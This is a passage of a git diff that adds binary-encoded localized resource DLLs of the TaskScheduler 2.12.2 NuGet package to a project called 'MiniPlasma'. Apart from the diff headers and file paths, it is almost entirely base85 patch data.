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 literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/ja/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/ja/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000000000000000000000000000000000000..1af2230a60d52e55128b4bc14753718df0ffe01b GIT binary patch literal 10240 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 B)HwhE literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/pl/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/pl/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000000000000000000000000000000000000..08e4ef5b2797d4341a5830570e796c71e25427d7 GIT binary patch literal 10240 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 literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/ru/Microsoft.Win32.TaskScheduler.resources.dll b/MiniPlasma/packages/TaskScheduler.2.12.2/lib/net9.0-windows7.0/ru/Microsoft.Win32.TaskScheduler.resources.dll new file mode 100644 index 0000000000000000000000000000000000000000..6528448ffc5e750f7f991d06efebb879bf857589 GIT binary patch literal 10752 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 